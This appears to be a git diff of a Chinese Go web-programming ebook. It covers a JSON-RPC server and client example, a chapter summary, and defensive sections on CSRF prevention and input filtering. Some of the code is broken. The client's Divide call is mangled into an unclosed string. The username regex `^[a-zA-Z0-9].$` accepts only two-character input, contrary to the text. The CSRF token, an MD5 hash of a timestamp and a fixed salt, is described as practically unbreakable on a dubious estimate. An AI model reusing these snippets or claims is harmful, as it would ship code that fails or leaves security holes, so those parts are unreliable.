JSON RPC是数据编码采用了JSON,而不是gob编码,其他和上面介绍的RPC概念一模一样,下面我们来演示一下,如何使用Go提供的json-rpc标准包,请看服务端代码的实现:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/rpc"
|
||||
"net/rpc/jsonrpc"
|
||||
"os"
|
||||
)
|
||||
|
||||
type Args struct {
|
||||
A, B int
|
||||
}
|
||||
|
||||
type Quotient struct {
|
||||
Quo, Rem int
|
||||
}
|
||||
|
||||
type Arith int
|
||||
|
||||
func (t *Arith) Multiply(args *Args, reply *int) error {
|
||||
*reply = args.A * args.B
|
||||
return nil
|
||||
}
|
||||
|
||||
func (t *Arith) Divide(args *Args, quo *Quotient) error {
|
||||
if args.B == 0 {
|
||||
return errors.New("divide by zero")
|
||||
}
|
||||
quo.Quo = args.A / args.B
|
||||
quo.Rem = args.A % args.B
|
||||
return nil
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
arith := new(Arith)
|
||||
rpc.Register(arith)
|
||||
|
||||
tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")
|
||||
checkError(err)
|
||||
|
||||
listener, err := net.ListenTCP("tcp", tcpAddr)
|
||||
checkError(err)
|
||||
|
||||
for {
|
||||
conn, err := listener.Accept()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
jsonrpc.ServeConn(conn)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func checkError(err error) {
|
||||
if err != nil {
|
||||
fmt.Println("Fatal error ", err.Error())
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
通过示例我们可以看出 json-rpc是基于TCP协议实现的,目前它还不支持HTTP方式。
|
||||
|
||||
请看客户端的实现代码:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net/rpc/jsonrpc"
|
||||
"os"
|
||||
)
|
||||
|
||||
type Args struct {
|
||||
A, B int
|
||||
}
|
||||
|
||||
type Quotient struct {
|
||||
Quo, Rem int
|
||||
}
|
||||
|
||||
func main() {
|
||||
if len(os.Args) != 2 {
|
||||
fmt.Println("Usage: ", os.Args[0], "server:port")
|
||||
log.Fatal(1)
|
||||
}
|
||||
service := os.Args[1]
|
||||
|
||||
client, err := jsonrpc.Dial("tcp", service)
|
||||
if err != nil {
|
||||
log.Fatal("dialing:", err)
|
||||
}
|
||||
// Synchronous call
|
||||
args := Args{17, 8}
|
||||
var reply int
|
||||
err = client.Call("Arith.Multiply", args, &reply)
|
||||
if err != nil {
|
||||
log.Fatal("arith error:", err)
|
||||
}
|
||||
fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)
|
||||
|
||||
var quot Quotient
|
||||
err = client.Call("Arith.Divide", args, ")
|
||||
if err != nil {
|
||||
log.Fatal("arith error:", err)
|
||||
}
|
||||
fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)
|
||||
|
||||
}
|
||||
|
||||
## 总结
|
||||
Go已经提供了对RPC的良好支持,通过上面HTTP、TCP、JSON RPC的实现,我们就可以很方便的开发很多分布式的Web应用,我想作为读者的你已经领会到这一点。但遗憾的是目前Go尚未提供对SOAP RPC的支持,欣慰的是现在已经有第三方的开源实现了。
|
||||
|
||||
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [REST](<08.3.md>)
|
||||
* 下一节: [小结](<08.5.md>)
|
||||
12
08.5.md → ebook/08.5.md
Executable file → Normal file
12
08.5.md → ebook/08.5.md
Executable file → Normal file
@@ -1,6 +1,6 @@
|
||||
# 8.5 小结
|
||||
这一章我们介绍了目前流行的几种主要的网络应用开发方式,第一小节介绍了网络编程中的基础:Socket编程,因为现在网络正在朝云的方向快速进化,作为这一技术演进的基石的的socket知识,作为开发者的你,是必须要掌握的。第二小节介绍了正愈发流行的HTML5中一个重要的特性WebSocket,通过它,服务器可以实现主动的push消息,以简化以前ajax轮询的模式。第三小节介绍了REST编写模式,这种模式特别适合来开发网络应用API,目前移动应用的快速发展,我觉得将来会是一个潮流。第四小节介绍了Go实现的RPC相关知识,对于上面四种开发方式,Go都已经提供了良好的支持,net包及其子包,是所有涉及到网络编程的工具的所在地。如果你想更加深入的了解相关实现细节,可以尝试阅读这个包下面的源码。
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [RPC](<08.4.md>)
|
||||
* 下一章: [安全与加密](<09.0.md>)
|
||||
# 8.5 小结
|
||||
这一章我们介绍了目前流行的几种主要的网络应用开发方式,第一小节介绍了网络编程中的基础:Socket编程,因为现在网络正在朝云的方向快速进化,作为这一技术演进的基石的的socket知识,作为开发者的你,是必须要掌握的。第二小节介绍了正愈发流行的HTML5中一个重要的特性WebSocket,通过它,服务器可以实现主动的push消息,以简化以前ajax轮询的模式。第三小节介绍了REST编写模式,这种模式特别适合来开发网络应用API,目前移动应用的快速发展,我觉得将来会是一个潮流。第四小节介绍了Go实现的RPC相关知识,对于上面四种开发方式,Go都已经提供了良好的支持,net包及其子包,是所有涉及到网络编程的工具的所在地。如果你想更加深入的了解相关实现细节,可以尝试阅读这个包下面的源码。
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [RPC](<08.4.md>)
|
||||
* 下一章: [安全与加密](<09.0.md>)
|
||||
40
09.0.md → ebook/09.0.md
Executable file → Normal file
40
09.0.md → ebook/09.0.md
Executable file → Normal file
@@ -1,20 +1,20 @@
|
||||
# 9 安全与加密
|
||||
无论是开发Web应用的开发者还是企图利用Web应用漏洞的攻击者,对于Web程序安全这个话题都给予了越来越多的关注。特别是最近CSDN密码泄露事件,更是让我们对Web安全这个话题更加重视,所有人都谈密码色变,都开始检测自己的系统是否存在漏洞。那么我们作为一名Go程序的开发者,一定也需要知道我们的应用程序随时会成为众多攻击者的目标,并提前做好防范的准备。
|
||||
|
||||
很多Web应用程序中的安全问题都是由于轻信了第三方提供的数据造成的。比如对于用户的输入数据,在对其进行验证之前都应该将其视为不安全的数据。如果直接把这些不安全的数据输出到客户端,就可能造成跨站脚本攻击(XSS)的问题。如果把不安全的数据用于数据库查询,那么就可能造成SQL注入问题,我们将会在9.3、9.4小节介绍如何避免这些问题。
|
||||
|
||||
在使用第三方提供的数据,包括用户提供的数据时,首先检验这些数据的合法性非常重要,这个过程叫做过滤,我们将在9.2小节介绍如何保证对所有输入的数据进行过滤处理。
|
||||
|
||||
过滤输入和转义输出并不能解决所有的安全问题,我们将会在9.1讲解的CSRF攻击,会导致受骗者发送攻击者指定的请求从而造成一些破坏。
|
||||
|
||||
与安全加密相关的,能够增强我们的Web应用程序的强大手段就是加密,CSDN泄密事件就是因为密码保存的是明文,使得攻击拿手库之后就可以直接实施一些破坏行为了。不过,和其他工具一样,加密手段也必须运用得当。我们将在9.5小节介绍如何存储密码,如何让密码存储的安全。
|
||||
|
||||
加密的本质就是扰乱数据,某些不可恢复的数据扰乱我们称为单向加密或者散列算法。另外还有一种双向加密方式,也就是可以对加密后的数据进行解密。我们将会在9.6小节介绍如何实现这种双向加密方式。
|
||||
|
||||
## 目录
|
||||

|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [第八章总结](<08.5.md>)
|
||||
* 下一节: [预防CSRF攻击](<09.1.md>)
|
||||
# 9 安全与加密
|
||||
无论是开发Web应用的开发者还是企图利用Web应用漏洞的攻击者,对于Web程序安全这个话题都给予了越来越多的关注。特别是最近CSDN密码泄露事件,更是让我们对Web安全这个话题更加重视,所有人都谈密码色变,都开始检测自己的系统是否存在漏洞。那么我们作为一名Go程序的开发者,一定也需要知道我们的应用程序随时会成为众多攻击者的目标,并提前做好防范的准备。
|
||||
|
||||
很多Web应用程序中的安全问题都是由于轻信了第三方提供的数据造成的。比如对于用户的输入数据,在对其进行验证之前都应该将其视为不安全的数据。如果直接把这些不安全的数据输出到客户端,就可能造成跨站脚本攻击(XSS)的问题。如果把不安全的数据用于数据库查询,那么就可能造成SQL注入问题,我们将会在9.3、9.4小节介绍如何避免这些问题。
|
||||
|
||||
在使用第三方提供的数据,包括用户提供的数据时,首先检验这些数据的合法性非常重要,这个过程叫做过滤,我们将在9.2小节介绍如何保证对所有输入的数据进行过滤处理。
|
||||
|
||||
过滤输入和转义输出并不能解决所有的安全问题,我们将会在9.1讲解的CSRF攻击,会导致受骗者发送攻击者指定的请求从而造成一些破坏。
|
||||
|
||||
与安全加密相关的,能够增强我们的Web应用程序的强大手段就是加密,CSDN泄密事件就是因为密码保存的是明文,使得攻击拿手库之后就可以直接实施一些破坏行为了。不过,和其他工具一样,加密手段也必须运用得当。我们将在9.5小节介绍如何存储密码,如何让密码存储的安全。
|
||||
|
||||
加密的本质就是扰乱数据,某些不可恢复的数据扰乱我们称为单向加密或者散列算法。另外还有一种双向加密方式,也就是可以对加密后的数据进行解密。我们将会在9.6小节介绍如何实现这种双向加密方式。
|
||||
|
||||
## 目录
|
||||

|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [第八章总结](<08.5.md>)
|
||||
* 下一节: [预防CSRF攻击](<09.1.md>)
|
||||
186
09.1.md → ebook/09.1.md
Executable file → Normal file
186
09.1.md → ebook/09.1.md
Executable file → Normal file
@@ -1,93 +1,93 @@
|
||||
# 9.1 预防CSRF攻击
|
||||
|
||||
## 什么是CSRF
|
||||
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。
|
||||
|
||||
那么CSRF到底能够干嘛呢?你可以这样简单的理解:攻击者可以盗用你的登陆信息,以你的身份模拟发送各种请求。攻击者只要借助少许的社会工程学的诡计,例如通过QQ等聊天软件发送的链接(有些还伪装成短域名,用户无法分辨),攻击者就能迫使Web应用的用户去执行攻击者预设的操作。例如,当用户登录网络银行去查看其存款余额,在他没有退出时,就点击了一个QQ好友发来的链接,那么该用户银行帐户中的资金就有可能被转移到攻击者指定的帐户中。
|
||||
|
||||
所以遇到CSRF攻击时,将对终端用户的数据和操作指令构成严重的威胁;当受攻击的终端用户具有管理员帐户的时候,CSRF攻击将危及整个Web应用程序。
|
||||
|
||||
## CSRF的原理
|
||||
下图简单阐述了CSRF攻击的思想
|
||||
|
||||

|
||||
|
||||
图9.1 CSRF的攻击过程
|
||||
|
||||
从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤 :
|
||||
|
||||
- 1.登录受信任网站A,并在本地生成Cookie 。
|
||||
- 2.在不退出A的情况下,访问危险网站B。
|
||||
|
||||
看到这里,读者也许会问:“如果我不满足以上两个条件中的任意一个,就不会受到CSRF的攻击”。是的,确实如此,但你不能保证以下情况不会发生:
|
||||
|
||||
- 你不能保证你登录了一个网站后,不再打开一个tab页面并访问另外的网站,特别现在浏览器都是支持多tab的。
|
||||
- 你不能保证你关闭浏览器了后,你本地的Cookie立刻过期,你上次的会话已经结束。
|
||||
- 上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。
|
||||
|
||||
因此对于用户来说很难避免在登陆一个网站之后不点击一些链接进行其他操作,所以随时可能成为CSRF的受害者。
|
||||
|
||||
CSRF攻击主要是因为Web的隐式身份验证机制,Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。
|
||||
|
||||
## 如何预防CSRF
|
||||
过上面的介绍,读者是否觉得这种攻击很恐怖,意识到恐怖是个好事情,这样会促使你接着往下看如何改进和防止类似的漏洞出现。
|
||||
|
||||
CSRF的防御可以从服务端和客户端两方面着手,防御效果是从服务端着手效果比较好,现在一般的CSRF防御也都在服务端进行。
|
||||
|
||||
服务端的预防CSRF攻击的方式方法有多种,但思想上都是差不多的,主要从以下2个方面入手:
|
||||
|
||||
- 1、正确使用GET,POST和Cookie;
|
||||
- 2、在非GET请求中增加伪随机数;
|
||||
|
||||
我们上一章介绍过REST方式的Web应用,一般而言,普通的Web应用都是以GET、POST为主,还有一种请求是Cookie方式。我们一般都是按照如下方式设计应用:
|
||||
|
||||
1、GET常用在查看,列举,展示等不需要改变资源属性的时候;
|
||||
|
||||
2、POST常用在下达订单,改变一个资源的属性或者做其他一些事情;
|
||||
|
||||
接下来我就以Go语言来举例说明,如何限制对资源的访问方法:
|
||||
|
||||
mux.Get("/user/:uid", getuser)
|
||||
mux.Post("/user/:uid", modifyuser)
|
||||
|
||||
这样处理后,因为我们限定了修改只能使用POST,当GET方式请求时就拒绝响应,所以上面图示中GET方式的CSRF攻击就可以防止了,但这样就能全部解决问题了吗?当然不是,因为POST也是可以模拟的。
|
||||
|
||||
因此我们需要实施第二步,在非GET方式的请求中增加随机数,这个大概有三种方式来进行:
|
||||
|
||||
- 为每个用户生成一个唯一的cookie token,所有表单都包含同一个伪随机值,这种方案最简单,因为攻击者不能获得第三方的Cookie(理论上),所以表单中的数据也就构造失败,但是由于用户的Cookie很容易由于网站的XSS漏洞而被盗取,所以这个方案必须要在没有XSS的情况下才安全。
|
||||
- 每个请求使用验证码,这个方案是完美的,因为要多次输入验证码,所以用户友好性很差,所以不适合实际运用。
|
||||
- 不同的表单包含一个不同的伪随机值,我们在4.4小节介绍“如何防止表单多次递交”时介绍过此方案,复用相关代码,实现如下:
|
||||
|
||||
生成随机数token
|
||||
|
||||
h := md5.New()
|
||||
io.WriteString(h, strconv.FormatInt(crutime, 10))
|
||||
io.WriteString(h, "ganraomaxxxxxxxxx")
|
||||
token := fmt.Sprintf("%x", h.Sum(nil))
|
||||
|
||||
t, _ := template.ParseFiles("login.gtpl")
|
||||
t.Execute(w, token)
|
||||
|
||||
输出token
|
||||
|
||||
<input type="hidden" name="token" value="{{.}}">
|
||||
|
||||
验证token
|
||||
|
||||
r.ParseForm()
|
||||
token := r.Form.Get("token")
|
||||
if token != "" {
|
||||
//验证token的合法性
|
||||
} else {
|
||||
//不存在token报错
|
||||
}
|
||||
|
||||
这样基本就实现了安全的POST,但是也许你会说如果破解了token的算法呢,按照理论上是,但是实际上破解是基本不可能的,因为有人曾计算过,暴力破解该串大概需要2的11次方时间。
|
||||
|
||||
## 总结
|
||||
跨站请求伪造,即CSRF,是一种非常危险的Web安全威胁,它被Web安全界称为“沉睡的巨人”,其威胁程度由此“美誉”便可见一斑。本小节不仅对跨站请求伪造本身进行了简单介绍,还详细说明造成这种漏洞的原因所在,然后以此提了一些防范该攻击的建议,希望对读者编写安全的Web应用能够有所启发。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [安全与加密](<09.0.md>)
|
||||
* 下一节: [确保输入过滤](<09.2.md>)
|
||||
# 9.1 预防CSRF攻击
|
||||
|
||||
## 什么是CSRF
|
||||
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。
|
||||
|
||||
那么CSRF到底能够干嘛呢?你可以这样简单的理解:攻击者可以盗用你的登陆信息,以你的身份模拟发送各种请求。攻击者只要借助少许的社会工程学的诡计,例如通过QQ等聊天软件发送的链接(有些还伪装成短域名,用户无法分辨),攻击者就能迫使Web应用的用户去执行攻击者预设的操作。例如,当用户登录网络银行去查看其存款余额,在他没有退出时,就点击了一个QQ好友发来的链接,那么该用户银行帐户中的资金就有可能被转移到攻击者指定的帐户中。
|
||||
|
||||
所以遇到CSRF攻击时,将对终端用户的数据和操作指令构成严重的威胁;当受攻击的终端用户具有管理员帐户的时候,CSRF攻击将危及整个Web应用程序。
|
||||
|
||||
## CSRF的原理
|
||||
下图简单阐述了CSRF攻击的思想
|
||||
|
||||

|
||||
|
||||
图9.1 CSRF的攻击过程
|
||||
|
||||
从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤 :
|
||||
|
||||
- 1.登录受信任网站A,并在本地生成Cookie 。
|
||||
- 2.在不退出A的情况下,访问危险网站B。
|
||||
|
||||
看到这里,读者也许会问:“如果我不满足以上两个条件中的任意一个,就不会受到CSRF的攻击”。是的,确实如此,但你不能保证以下情况不会发生:
|
||||
|
||||
- 你不能保证你登录了一个网站后,不再打开一个tab页面并访问另外的网站,特别现在浏览器都是支持多tab的。
|
||||
- 你不能保证你关闭浏览器了后,你本地的Cookie立刻过期,你上次的会话已经结束。
|
||||
- 上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。
|
||||
|
||||
因此对于用户来说很难避免在登陆一个网站之后不点击一些链接进行其他操作,所以随时可能成为CSRF的受害者。
|
||||
|
||||
CSRF攻击主要是因为Web的隐式身份验证机制,Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。
|
||||
|
||||
## 如何预防CSRF
|
||||
过上面的介绍,读者是否觉得这种攻击很恐怖,意识到恐怖是个好事情,这样会促使你接着往下看如何改进和防止类似的漏洞出现。
|
||||
|
||||
CSRF的防御可以从服务端和客户端两方面着手,防御效果是从服务端着手效果比较好,现在一般的CSRF防御也都在服务端进行。
|
||||
|
||||
服务端的预防CSRF攻击的方式方法有多种,但思想上都是差不多的,主要从以下2个方面入手:
|
||||
|
||||
- 1、正确使用GET,POST和Cookie;
|
||||
- 2、在非GET请求中增加伪随机数;
|
||||
|
||||
我们上一章介绍过REST方式的Web应用,一般而言,普通的Web应用都是以GET、POST为主,还有一种请求是Cookie方式。我们一般都是按照如下方式设计应用:
|
||||
|
||||
1、GET常用在查看,列举,展示等不需要改变资源属性的时候;
|
||||
|
||||
2、POST常用在下达订单,改变一个资源的属性或者做其他一些事情;
|
||||
|
||||
接下来我就以Go语言来举例说明,如何限制对资源的访问方法:
|
||||
|
||||
mux.Get("/user/:uid", getuser)
|
||||
mux.Post("/user/:uid", modifyuser)
|
||||
|
||||
这样处理后,因为我们限定了修改只能使用POST,当GET方式请求时就拒绝响应,所以上面图示中GET方式的CSRF攻击就可以防止了,但这样就能全部解决问题了吗?当然不是,因为POST也是可以模拟的。
|
||||
|
||||
因此我们需要实施第二步,在非GET方式的请求中增加随机数,这个大概有三种方式来进行:
|
||||
|
||||
- 为每个用户生成一个唯一的cookie token,所有表单都包含同一个伪随机值,这种方案最简单,因为攻击者不能获得第三方的Cookie(理论上),所以表单中的数据也就构造失败,但是由于用户的Cookie很容易由于网站的XSS漏洞而被盗取,所以这个方案必须要在没有XSS的情况下才安全。
|
||||
- 每个请求使用验证码,这个方案是完美的,因为要多次输入验证码,所以用户友好性很差,所以不适合实际运用。
|
||||
- 不同的表单包含一个不同的伪随机值,我们在4.4小节介绍“如何防止表单多次递交”时介绍过此方案,复用相关代码,实现如下:
|
||||
|
||||
生成随机数token
|
||||
|
||||
h := md5.New()
|
||||
io.WriteString(h, strconv.FormatInt(crutime, 10))
|
||||
io.WriteString(h, "ganraomaxxxxxxxxx")
|
||||
token := fmt.Sprintf("%x", h.Sum(nil))
|
||||
|
||||
t, _ := template.ParseFiles("login.gtpl")
|
||||
t.Execute(w, token)
|
||||
|
||||
输出token
|
||||
|
||||
<input type="hidden" name="token" value="{{.}}">
|
||||
|
||||
验证token
|
||||
|
||||
r.ParseForm()
|
||||
token := r.Form.Get("token")
|
||||
if token != "" {
|
||||
//验证token的合法性
|
||||
} else {
|
||||
//不存在token报错
|
||||
}
|
||||
|
||||
这样基本就实现了安全的POST,但是也许你会说如果破解了token的算法呢,按照理论上是,但是实际上破解是基本不可能的,因为有人曾计算过,暴力破解该串大概需要2的11次方时间。
|
||||
|
||||
## 总结
|
||||
跨站请求伪造,即CSRF,是一种非常危险的Web安全威胁,它被Web安全界称为“沉睡的巨人”,其威胁程度由此“美誉”便可见一斑。本小节不仅对跨站请求伪造本身进行了简单介绍,还详细说明造成这种漏洞的原因所在,然后以此提了一些防范该攻击的建议,希望对读者编写安全的Web应用能够有所启发。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [安全与加密](<09.0.md>)
|
||||
* 下一节: [确保输入过滤](<09.2.md>)
|
||||
144
09.2.md → ebook/09.2.md
Executable file → Normal file
144
09.2.md → ebook/09.2.md
Executable file → Normal file
@@ -1,72 +1,72 @@
|
||||
# 9.2 确保输入过滤
|
||||
过滤用户数据是Web应用安全的基础。它是验证数据合法性的过程。通过对所有的输入数据进行过滤,可以避免恶意数据在程序中被误信或误用。大多数Web应用的漏洞都是因为没有对用户输入的数据进行恰当过滤所引起的。
|
||||
|
||||
我们介绍的过滤数据分成三个步骤:
|
||||
|
||||
- 1、识别数据,搞清楚需要过滤的数据来自于哪里
|
||||
- 2、过滤数据,弄明白我们需要什么样的数据
|
||||
- 3、区分已过滤及被污染数据,如果存在攻击数据那么保证过滤之后可以让我们使用更安全的数据
|
||||
|
||||
## 识别数据
|
||||
“识别数据”作为第一步是因为在你不知道“数据是什么,它来自于哪里”的前提下,你也就不能正确地过滤它。这里的数据是指所有源自非代码内部提供的数据。例如:所有来自客户端的数据,但客户端并不是唯一的外部数据源,数据库和第三方提供的接口数据等也可以是外部数据源。
|
||||
|
||||
由用户输入的数据我们通过Go非常容易识别,Go通过`r.ParseForm`之后,把用户POST和GET的数据全部放在了`r.Form`里面。其它的输入要难识别得多,例如,`r.Header`中的很多元素是由客户端所操纵的。常常很难确认其中的哪些元素组成了输入,所以,最好的方法是把里面所有的数据都看成是用户输入。(例如`r.Header.Get("Accept-Charset")`这样的也看做是用户输入,虽然这些大多数是浏览器操纵的)
|
||||
|
||||
## 过滤数据
|
||||
在知道数据来源之后,就可以过滤它了。过滤是一个有点正式的术语,它在平时表述中有很多同义词,如验证、清洁及净化。尽管这些术语表面意义不同,但它们都是指的同一个处理:防止非法数据进入你的应用。
|
||||
|
||||
过滤数据有很多种方法,其中有一些安全性较差。最好的方法是把过滤看成是一个检查的过程,在你使用数据之前都检查一下看它们是否是符合合法数据的要求。而且不要试图好心地去纠正非法数据,而要让用户按你制定的规则去输入数据。历史证明了试图纠正非法数据往往会导致安全漏洞。这里举个例子:“最近建设银行系统升级之后,如果密码后面两位是0,只要输入前面四位就能登录系统”,这是一个非常严重的漏洞。
|
||||
|
||||
过滤数据主要采用如下一些库来操作:
|
||||
|
||||
- strconv包下面的字符串转化相关函数,因为从Request中的`r.Form`返回的是字符串,而有些时候我们需要将之转化成整/浮点数,`Atoi`、`ParseBool`、`ParseFloat`、`ParseInt`等函数就可以派上用场了。
|
||||
- string包下面的一些过滤函数`Trim`、`ToLower`、`ToTitle`等函数,能够帮助我们按照指定的格式获取信息。
|
||||
- regexp包用来处理一些复杂的需求,例如判定输入是否是Email、生日之类。
|
||||
|
||||
过滤数据除了检查验证之外,在特殊时候,还可以采用白名单。即假定你正在检查的数据都是非法的,除非能证明它是合法的。使用这个方法,如果出现错误,只会导致把合法的数据当成是非法的,而不会是相反,尽管我们不想犯任何错误,但这样总比把非法数据当成合法数据要安全得多。
|
||||
|
||||
## 区分过滤数据
|
||||
如果完成了上面的两步,数据过滤的工作就基本完成了,但是在编写Web应用的时候我们还需要区分已过滤和被污染数据,因为这样可以保证过滤数据的完整性,而不影响输入的数据。我们约定把所有经过过滤的数据放入一个叫全局的Map变量中(CleanMap)。这时需要用两个重要的步骤来防止被污染数据的注入:
|
||||
- 每个请求都要初始化CleanMap为一个空Map。
|
||||
- 加入检查及阻止来自外部数据源的变量命名为CleanMap。
|
||||
|
||||
接下来,让我们通过一个例子来巩固这些概念,请看下面这个表单
|
||||
|
||||
<form action="/whoami" method="POST">
|
||||
我是谁:
|
||||
<select name="name">
|
||||
<option value="astaxie">astaxie</option>
|
||||
<option value="herry">herry</option>
|
||||
<option value="marry">marry</option>
|
||||
</select>
|
||||
<input type="submit" />
|
||||
</form>
|
||||
|
||||
在处理这个表单的编程逻辑中,非常容易犯的错误是认为只能提交三个选择中的一个。其实攻击者可以模拟POST操作,递交`name=attack`这样的数据,所以在此时我们需要做类似白名单的处理
|
||||
|
||||
r.ParseForm()
|
||||
name := r.Form.Get("name")
|
||||
CleanMap := make(map[string]interface{}, 0)
|
||||
if name == "astaxie" || name == "herry" || name == "marry" {
|
||||
CleanMap["name"] = name
|
||||
}
|
||||
|
||||
上面代码中我们初始化了一个CleanMap的变量,当判断获取的name是`astaxie`、`herry`、`marry`三个中的一个之后
|
||||
,我们把数据存储到了CleanMap之中,这样就可以确保CleanMap["name"]中的数据是合法的,从而在代码的其它部分使用它。当然我们还可以在else部分增加非法数据的处理,一种可能是再次显示表单并提示错误。但是不要试图为了友好而输出被污染的数据。
|
||||
|
||||
上面的方法对于过滤一组已知的合法值的数据很有效,但是对于过滤有一组已知合法字符组成的数据时就没有什么帮助。例如,你可能需要一个用户名只能由字母及数字组成:
|
||||
|
||||
r.ParseForm()
|
||||
username := r.Form.Get("username")
|
||||
CleanMap := make(map[string]interface{}, 0)
|
||||
if ok, _ := regexp.MatchString("^[a-zA-Z0-9].$", username); ok {
|
||||
CleanMap["username"] = username
|
||||
}
|
||||
|
||||
## 总结
|
||||
数据过滤在Web安全中起到一个基石的作用,大多数的安全问题都是由于没有过滤数据和验证数据引起的,例如前面小节的CSRF攻击,以及接下来将要介绍的XSS攻击、SQL注入等都是没有认真地过滤数据引起的,因此我们需要特别重视这部分的内容。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [预防CSRF攻击](<09.1.md>)
|
||||
* 下一节: [避免XSS攻击](<09.3.md>)
|
||||
# 9.2 确保输入过滤
|
||||
过滤用户数据是Web应用安全的基础。它是验证数据合法性的过程。通过对所有的输入数据进行过滤,可以避免恶意数据在程序中被误信或误用。大多数Web应用的漏洞都是因为没有对用户输入的数据进行恰当过滤所引起的。
|
||||
|
||||
我们介绍的过滤数据分成三个步骤:
|
||||
|
||||
- 1、识别数据,搞清楚需要过滤的数据来自于哪里
|
||||
- 2、过滤数据,弄明白我们需要什么样的数据
|
||||
- 3、区分已过滤及被污染数据,如果存在攻击数据那么保证过滤之后可以让我们使用更安全的数据
|
||||
|
||||
## 识别数据
|
||||
“识别数据”作为第一步是因为在你不知道“数据是什么,它来自于哪里”的前提下,你也就不能正确地过滤它。这里的数据是指所有源自非代码内部提供的数据。例如:所有来自客户端的数据,但客户端并不是唯一的外部数据源,数据库和第三方提供的接口数据等也可以是外部数据源。
|
||||
|
||||
由用户输入的数据我们通过Go非常容易识别,Go通过`r.ParseForm`之后,把用户POST和GET的数据全部放在了`r.Form`里面。其它的输入要难识别得多,例如,`r.Header`中的很多元素是由客户端所操纵的。常常很难确认其中的哪些元素组成了输入,所以,最好的方法是把里面所有的数据都看成是用户输入。(例如`r.Header.Get("Accept-Charset")`这样的也看做是用户输入,虽然这些大多数是浏览器操纵的)
|
||||
|
||||
## 过滤数据
|
||||
在知道数据来源之后,就可以过滤它了。过滤是一个有点正式的术语,它在平时表述中有很多同义词,如验证、清洁及净化。尽管这些术语表面意义不同,但它们都是指的同一个处理:防止非法数据进入你的应用。
|
||||
|
||||
过滤数据有很多种方法,其中有一些安全性较差。最好的方法是把过滤看成是一个检查的过程,在你使用数据之前都检查一下看它们是否是符合合法数据的要求。而且不要试图好心地去纠正非法数据,而要让用户按你制定的规则去输入数据。历史证明了试图纠正非法数据往往会导致安全漏洞。这里举个例子:“最近建设银行系统升级之后,如果密码后面两位是0,只要输入前面四位就能登录系统”,这是一个非常严重的漏洞。
|
||||
|
||||
过滤数据主要采用如下一些库来操作:
|
||||
|
||||
- strconv包下面的字符串转化相关函数,因为从Request中的`r.Form`返回的是字符串,而有些时候我们需要将之转化成整/浮点数,`Atoi`、`ParseBool`、`ParseFloat`、`ParseInt`等函数就可以派上用场了。
|
||||
- string包下面的一些过滤函数`Trim`、`ToLower`、`ToTitle`等函数,能够帮助我们按照指定的格式获取信息。
|
||||
- regexp包用来处理一些复杂的需求,例如判定输入是否是Email、生日之类。
|
||||
|
||||
过滤数据除了检查验证之外,在特殊时候,还可以采用白名单。即假定你正在检查的数据都是非法的,除非能证明它是合法的。使用这个方法,如果出现错误,只会导致把合法的数据当成是非法的,而不会是相反,尽管我们不想犯任何错误,但这样总比把非法数据当成合法数据要安全得多。
|
||||
|
||||
## 区分过滤数据
|
||||
如果完成了上面的两步,数据过滤的工作就基本完成了,但是在编写Web应用的时候我们还需要区分已过滤和被污染数据,因为这样可以保证过滤数据的完整性,而不影响输入的数据。我们约定把所有经过过滤的数据放入一个叫全局的Map变量中(CleanMap)。这时需要用两个重要的步骤来防止被污染数据的注入:
|
||||
- 每个请求都要初始化CleanMap为一个空Map。
|
||||
- 加入检查及阻止来自外部数据源的变量命名为CleanMap。
|
||||
|
||||
接下来,让我们通过一个例子来巩固这些概念,请看下面这个表单
|
||||
|
||||
<form action="/whoami" method="POST">
|
||||
我是谁:
|
||||
<select name="name">
|
||||
<option value="astaxie">astaxie</option>
|
||||
<option value="herry">herry</option>
|
||||
<option value="marry">marry</option>
|
||||
</select>
|
||||
<input type="submit" />
|
||||
</form>
|
||||
|
||||
在处理这个表单的编程逻辑中,非常容易犯的错误是认为只能提交三个选择中的一个。其实攻击者可以模拟POST操作,递交`name=attack`这样的数据,所以在此时我们需要做类似白名单的处理
|
||||
|
||||
r.ParseForm()
|
||||
name := r.Form.Get("name")
|
||||
CleanMap := make(map[string]interface{}, 0)
|
||||
if name == "astaxie" || name == "herry" || name == "marry" {
|
||||
CleanMap["name"] = name
|
||||
}
|
||||
|
||||
上面代码中我们初始化了一个CleanMap的变量,当判断获取的name是`astaxie`、`herry`、`marry`三个中的一个之后
|
||||
,我们把数据存储到了CleanMap之中,这样就可以确保CleanMap["name"]中的数据是合法的,从而在代码的其它部分使用它。当然我们还可以在else部分增加非法数据的处理,一种可能是再次显示表单并提示错误。但是不要试图为了友好而输出被污染的数据。
|
||||
|
||||
